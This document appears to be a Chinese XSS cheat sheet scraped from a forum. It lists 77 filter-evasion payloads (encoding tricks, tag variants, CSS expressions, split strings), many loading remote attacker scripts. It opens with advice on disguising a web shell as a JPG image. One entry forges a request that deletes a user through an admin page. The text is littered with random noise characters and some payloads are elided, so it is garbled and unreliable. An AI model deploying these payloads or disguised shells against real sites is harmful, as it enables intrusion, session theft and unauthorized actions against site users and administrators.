跨站图片shell
. a9 U8 i* k0 X) N; o3 GXSS跨站代码 <script>alert("")</script>
& o( Z0 D4 P- [7 S! A) R+ f( G( b6 B6 @% o7 t
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
# g5 i6 h: J2 n- }, n* l3 F! R! P0 ]" E" a. Y6 `5 X
' i: o! S: Z1 w: v6 z1 N6 J$ `/ N K( s: _2 @# k
1)普通的XSS JavaScript注入 s& f6 j% M' D: q2 {. M: P" r) _
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
' e5 S2 y7 D, g! ?! k1 g4 c3 P6 P, D0 M7 q, ]! ]
(2)IMG标签XSS使用JavaScript命令, u7 D# r+ h( J9 Y
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
8 Y, A, s" l" s" L7 ?* V% A# y, B6 h7 S$ U m$ q" e3 S* k
(3)IMG标签无分号无引号' r; w1 W6 f1 `/ R
<IMG SRC=javascript:alert(‘XSS’)>. S! L* z. w' M0 `
4 K7 y4 Q ^( G/ f! M/ C! p: G5 Z
(4)IMG标签大小写不敏感+ H" Y d; Q* U# p! G$ ]+ F/ Z9 ~/ G
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>/ J3 x6 A$ ?; k; Q: b; u' B
- f. R) {; ~" m/ X" l; l3 ](5)HTML编码(必须有分号)0 T/ Z8 k5 X) x( ^ C6 O, b
<IMG SRC=javascript:alert(“XSS”)>
. o/ Q; t) ~* F/ G2 ^9 \: T! U4 X `# F# @0 z5 N
(6)修正缺陷IMG标签" i7 D+ }( H1 [, |
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>8 D) \/ S- c p& C3 b6 g
+ f5 R2 \ r9 G' H% `$ G4 I- ^(7)formCharCode标签(计算器)+ H" M; ]! f& F3 q
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>; l9 V* S6 v8 ~' Q
% |& |1 d" X! i* m(8)UTF-8的Unicode编码(计算器)% b. Y3 G5 e" N; d# D* ~- C) F
<IMG SRC=jav..省略..S')>* z$ x7 p$ U6 z( w
! n! k& l" W6 C(9)7位的UTF-8的Unicode编码是没有分号的(计算器)% c3 v2 D1 p' e8 Y. ]; O
<IMG SRC=jav..省略..S')>
2 F% m, Z( |8 J& x
/ q& S2 ], P6 I(10)十六进制编码也是没有分号(计算器)! O- d J% V, _/ W i! ~. C
<IMG SRC=java..省略..XSS')>3 n' K4 u- ?0 O1 N4 L7 l
# Z: i1 F+ V9 A3 \: @/ B
(11)嵌入式标签,将Javascript分开) P. C9 f* T! X9 K8 ^
<IMG SRC=”jav ascript:alert(‘XSS’);”>
! n7 R; g* P3 m' Q `; i: \+ T; V- ]
(12)嵌入式编码标签,将Javascript分开
2 K$ z2 I* E7 \8 F<IMG SRC=”jav ascript:alert(‘XSS’);”>
r( D& q$ k! x) l/ @8 d
7 b) e6 R8 Q; p6 F; z" G% e(13)嵌入式换行符
5 g b' u; D7 c& b, Y. b<IMG SRC=”jav ascript:alert(‘XSS’);”>
$ m ?9 P, N! o2 y( S& C: V
7 L- ?0 D% r' w% a+ `# [! h(14)嵌入式回车
# v6 ?2 y* f2 m+ L: a8 a6 {7 `<IMG SRC=”jav ascript:alert(‘XSS’);”>8 r* f, h2 G" C( k3 A
- u$ s9 X- S; Q9 T" y# Y
(15)嵌入式多行注入JavaScript,这是XSS极端的例子1 v+ V+ V: e0 S& L' ^
<IMG SRC=”javascript:alert(‘XSS‘)”>4 C, ]" v, Q5 r8 a% X5 r
" {: u3 E) u+ |7 F* N
(16)解决限制字符(要求同页面)
g0 J- ~2 Q/ a7 U" Z<script>z=’document.’</script>7 T, c: ?8 o3 M6 R) {/ n9 i0 O: _9 {
<script>z=z+’write(“‘</script>
: l3 e' Q3 b7 b; M/ R<script>z=z+’<script’</script>
W" g* p. i* p2 I<script>z=z+’ src=ht’</script>8 ?. o6 F5 d- O) P& S" K |7 u/ y
<script>z=z+’tp://ww’</script>
2 T( B9 ]4 b3 j' {<script>z=z+’w.shell’</script>
* q+ P" b8 B0 s% ~' g0 M- h" W& S<script>z=z+’.net/1.’</script>
# T+ K- u9 Z/ d<script>z=z+’js></sc’</script>
* J6 N& z& C: Q: Z9 C<script>z=z+’ript>”)’</script>
m8 V6 q9 L7 [# @5 g3 l+ N<script>eval_r(z)</script>3 ~7 E0 K& x- A( U9 G1 S: `
: G8 A! R5 H$ h9 I9 f(17)空字符6 h' l1 I! a2 `' b' C
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out. `" l) N+ r: u2 z7 \4 A& p
% F- J/ H( Y( w* H8 r$ k4 Q# w
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
. d [) {: P4 l3 h: X+ Nperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
7 ]5 F' s- [% Y! c
8 s$ z3 Y7 c l* I5 U(19)Spaces和meta前的IMG标签1 g" b0 ~9 a& |" V
<IMG SRC=” javascript:alert(‘XSS’);”>
$ [/ }! X$ A1 K) K2 w$ {4 I8 v. @; a6 j" S
(20)Non-alpha-non-digit XSS
2 ~: g% _/ c5 ~) `$ F) o0 ]<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>* u: [0 h8 Q2 y: N2 V! ]$ H
9 C5 S" c+ I1 X! [4 {. i* l
(21)Non-alpha-non-digit XSS to 2
9 n3 ]' f: F R<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>0 Y9 X" M! T# w8 V* q b
( x2 F/ d: W5 C( ?(22)Non-alpha-non-digit XSS to 3
+ P$ n. W* R8 K. Q% b' M4 T9 }<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
; k/ O3 F' ^+ _% a0 z) Y
# _ G$ O* S1 `; |(23)双开括号
5 c0 o+ b; z% O% U( j<<SCRIPT>alert(“XSS”);//<</SCRIPT>1 z+ p7 u* w; E3 r, W* r5 i
# [* m2 b7 O! K! W4 w0 s/ l& ~- U6 I
(24)无结束脚本标记(仅火狐等浏览器)
5 v3 ?8 W9 D- p4 ~$ d: F- ?<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>$ b% k. N) s9 g: {& x
! L7 P0 D5 E* \2 K$ ~(25)无结束脚本标记2
( I8 d8 X5 T) V7 v<SCRIPT SRC=//3w.org/XSS/xss.js>% @) _$ x; V; `6 q
7 M! u9 R/ t1 ?1 n; D% ] D) }/ o$ n(26)半开的HTML/JavaScript XSS
6 E- h2 K, B# C& n' _6 G/ ^( Q<IMG SRC=”javascript:alert(‘XSS’)”1 p0 A2 ^+ R/ j% i3 B
0 R3 ]- o1 y5 N$ i4 j' C
(27)双开角括号/ x' x( W) ?6 n$ e0 h! }
<iframe src=http://3w.org/XSS.html <
" z( I4 }& _0 n
" r$ K8 W: N! O( _1 }(28)无单引号 双引号 分号
) V+ J% q3 x1 b8 M& c8 ?0 R<SCRIPT>a=/XSS/! C. S! {) ] X
alert(a.source)</SCRIPT>
. i% s e- j% c' E
. ~, a6 g+ L2 D1 H7 ?3 U3 i(29)换码过滤的JavaScript7 A' L @5 `7 C; B1 Z
\”;alert(‘XSS’);//
5 E% U/ \( O+ o. i6 P. k% R# i# S, i& q* g$ O' _' e3 f) f: \
(30)结束Title标签' k) ^8 R! \$ F3 }3 \
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
4 V) r9 k% ^4 J; l2 e3 f, v# C. U
( }7 {) F- U* i/ Z$ y; I# o(31)Input Image) p3 E+ K& T7 ~/ n: d' \8 @
<INPUT SRC=”javascript:alert(‘XSS’);”>) G# j5 J, y" \. a9 R! t& h _- x
3 a: A4 i: }: X9 z(32)BODY Image+ C: d# ^7 a: I+ w5 _- x; l
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>( [( J' l; C# T- m* `) G! _
- ?; U; b* V& H
(33)BODY标签3 a' F/ A2 h5 Q1 X6 k2 b$ ]3 \
<BODY(‘XSS’)>
/ N/ E; g2 a- ]' C* u3 j4 R
- D& s4 ?! k/ V: s& Y& E, ^1 F(34)IMG Dynsrc
3 N6 \. a" O' r. Y, g9 c7 F<IMG DYNSRC=”javascript:alert(‘XSS’)”>
9 Q- j1 H3 P" d" |$ F7 g6 |$ N
/ d! j2 P4 K0 n N' _0 a(35)IMG Lowsrc/ t: W9 i% s; {4 p. `- Y3 _, X
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
( m# K- H- ^) i. }6 r5 q1 {
9 r/ d, H$ Q2 L6 w4 U# i$ ] w(36)BGSOUND
* p2 F$ e3 E. C j `8 D' c<BGSOUND SRC=”javascript:alert(‘XSS’);”>+ o$ ]' ?3 N* t* ?$ [
* R- Q( y) f5 F! X: t* W7 A
(37)STYLE sheet
+ }! A( d. G) k" X1 h# j9 z X0 U<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
: [& l6 m9 t( h5 ~- m9 i0 C# l, l2 c2 l1 R
(38)远程样式表, o' U: W1 l# U
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”> T! [+ h% t% R. L1 g$ K& B
2 s) g3 W. X7 k4 o1 s: j
(39)List-style-image(列表式)
) W$ ~ P5 Q$ J+ q1 d<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
2 M1 x) Y* M+ S* v) | Y0 w5 s" u( s& E' m
(40)IMG VBscript
1 X% M, K5 V ?! V5 q2 W<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS8 b' z$ j+ j) h J I" F D. g# h
; @6 x' a0 F! R: [$ ?6 E9 n8 E
(41)META链接url- R( _# z7 R8 r8 J) z
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
+ A/ m- g" K I0 n$ \- r v& o
& P6 n' n8 m5 U( S/ i5 J( f- ~(42)Iframe! u& _( c" _, k: }7 h7 z
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>9 D) {7 q- O& R7 p. b C; S. x: r
(43)Frame
! K6 Q) T( m3 j8 `. P# V<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
- X4 i# ]; m' R* A0 \; a6 D" s* Y4 l+ P. \$ v2 \" ~
(44)Table* \3 ?8 a& \/ H8 h! y$ R2 N0 \
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>3 r* T+ y1 Z7 Q5 z j; S7 e
% q( n: V9 N: x" ?; }' f
(45)TD
% \9 W( v$ `9 U1 {! m<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>" h6 O2 I* D! t4 Q/ K& g# m
- R: e; x2 M1 S! B
(46)DIV background-image p. L t1 N/ ?
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
! c- I9 l4 k* m6 b/ k3 X! }& a9 w. d: q, r, g
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
5 H9 H0 ~7 p# _0 Z4 q& A<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
, D) t' F7 L, T! K* u3 N: Y7 r5 g7 J& z
(48)DIV expression
# \' }$ n2 G* U$ F5 B<DIV STYLE=”width: expression_r(alert(‘XSS’));”>: i$ q$ _8 S& ?& W3 |/ C3 r6 B
* X5 z, ?. c1 F8 \. ]+ J(49)STYLE属性分拆表达
! r2 s* F& K7 F' V5 x<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
: e; ~$ T) l0 a3 u
5 J; @- ~# T2 s4 X1 f5 f# i1 T(50)匿名STYLE(组成:开角号和一个字母开头)8 E4 J1 T$ w9 B. q
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>. b5 E8 p( u! Z. M/ a
z4 A5 y3 d' q; f% v! x(51)STYLE background-image, Z% j2 @0 E' e, q7 g% ^, d7 x
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
: o, x. N5 s$ v/ F9 o' D: b5 M4 ?! F9 M
(52)IMG STYLE方式; m2 |" u" b" e* ]' m" r
exppression(alert(“XSS”))’>7 C6 x7 y7 E* w
7 V2 J" j& V! J2 L; ^
(53)STYLE background1 t& ?& ?3 M. F8 @! v: y8 p3 J
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>* X7 [+ q/ ~8 _0 K
( a, k# \: n0 T4 d8 m(54)BASE9 L8 L8 N2 e' J' i& T+ `7 l4 z
<BASE HREF=”javascript:alert(‘XSS’);//”>
+ x, q$ o2 J! J4 E3 }$ w! A0 p, Z1 K" E3 z9 Y' {" Y
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
: h) n0 ?" O! V' u) a/ X, y<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
- w# D, C \0 c/ D `
v6 R; k4 L `( X6 i(56)在flash中使用ActionScrpt可以混进你XSS的代码
" X4 r8 v* K( R9 f; G# S% `a=”get”;
6 X( o- S& g/ }" ]- e& z4 qb=”URL(\”";
" h* O& a4 {3 K q" V0 d/ o2 m9 I# Gc=”javascript:”;
8 y5 S: ?, B0 k Y7 d; Jd=”alert(‘XSS’);\”)”;5 o3 r0 {& O# h3 ?* C$ @% c
eval_r(a+b+c+d);" \. P5 ~9 C2 k& q) ^; n( B$ V, \( X6 w
3 l* J% e; f9 q5 w. f
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上8 }6 o( y- _1 I
<HTML xmlns:xss>
! J( F9 d6 P) S" [& o<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
; @& x, d: b$ N, P& d- T<xss:xss>XSS</xss:xss>+ X2 Y: O9 @4 @7 [3 { e& u1 |( Y
</HTML>
0 U+ U7 _: ^4 I6 ?# u
0 H0 t3 h) n1 b" _(58)如果过滤了你的JS你可以在图片里添加JS代码来利用: R% A5 d7 o+ e% X
<SCRIPT SRC=””></SCRIPT>
. s4 _4 l8 b0 Y3 E" f! [: I$ U9 Z+ _8 {6 l1 f9 g
(59)IMG嵌入式命令,可执行任意命令$ Y" ^! L* ^: `: M( I% k
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
]9 U8 W2 A9 v% K+ ]" Q$ U( M$ S/ S& `2 M* S+ Q* X" O/ I
(60)IMG嵌入式命令(a.jpg在同服务器)
: V( K8 u% g$ Y2 f; {9 |) t2 z+ ]Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
1 B4 O" s' B" P2 C8 d8 D
# e) @6 \3 o2 A(61)绕符号过滤
1 r% M: }/ m: v% b o<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
! J/ V) K, j3 P- i8 ]7 z- I% O6 s& ] y' s9 \! T. Q5 L- U
(62)" M3 \. h/ o$ b
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT> G) O8 p0 d4 J
* b# E" ]7 _' [6 i(63)
) C) S- Q' K& Q<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>: j, u( t( \9 J: y
t: s! o7 `& K" X* a
(64)1 |. g2 ^3 w( H& t, y9 a
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>9 l7 f. b; T9 K5 }" d( Z
0 I8 e5 Z- I* W& t0 u* H. m6 F f(65)! E! R% a- h, ] y. I0 ]( q+ ?) O
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT> }- B T& B$ ?
' ?& b4 X8 V' p: t
(66)
# |3 u, s9 @+ g& U+ u4 Z<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
& C8 l7 W* q9 Z3 P7 ~" P0 [) ^5 K% ]6 W M5 }0 c% f0 [/ ?3 M
(67)( K' r+ v% f/ z) |9 F! B2 @4 g7 @
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
/ f' e4 y3 n H! e: e( [; l o3 o _# k
(68)URL绕行; m6 {8 y8 b' [& n. _8 u
<A HREF=”http://127.0.0.1/”>XSS</A>3 y1 e3 ^9 v& f5 G$ |: k
' E: H) a L! I; P' {(69)URL编码( u7 f( I4 w& b- P- k c3 U1 _7 s' D
<A HREF=”http://3w.org”>XSS</A>; g3 r) x* O/ U: D
# P A: H9 R8 d5 }7 r& k
(70)IP十进制
$ r# m7 M& z) l! T6 K V4 i) b<A HREF=”http://3232235521″>XSS</A>
' ]) C9 Y+ H( j. S3 a! i3 J3 a' Y4 V: p( A5 {8 f$ X5 e
(71)IP十六进制
3 a8 A L) X, z9 F+ U+ u<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
# g+ D1 w$ E- V- I% @
1 V0 n) f; {0 i(72)IP八进制
! f5 [3 e( R8 ~<A HREF=”http://0300.0250.0000.0001″>XSS</A>
0 g# f2 D' E6 W6 m7 ]- K
2 k5 j5 U4 E( w6 }6 `3 p(73)混合编码" J$ r" _; s: n+ E. ~9 D& M( O- L
<A HREF=”h1 `5 a. z4 s' T7 _& A
tt p://6 6.000146.0×7.147/”">XSS</A>
% Z0 h% @; q7 o) r7 D+ V* v* K# X. P! ` b$ n0 |& G
(74)节省[http:]
& g. ?% m R7 ?8 `4 R# q( [<A HREF=”//www.google.com/”>XSS</A>* R4 X" S+ o( Y8 N5 w4 m# O# B, |+ V' L
9 o5 V9 Z- Z* A
(75)节省[www]
: j3 o; y' h. y5 s; S<A HREF=”http://google.com/”>XSS</A>
+ a5 n% C4 }. n! w0 v; W/ H; E7 N" K. w
(76)绝对点绝对DNS6 }9 J7 L9 X6 P" D- F% L3 O: q
<A HREF=”http://www.google.com./”>XSS</A>0 u) c: n. n; p% o9 c0 [! p4 [8 i7 T5 Y
+ T% U; t t7 t/ g5 L(77)javascript链接
5 c" `7 I0 U- K6 Z<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
8 O8 N! b' u: y |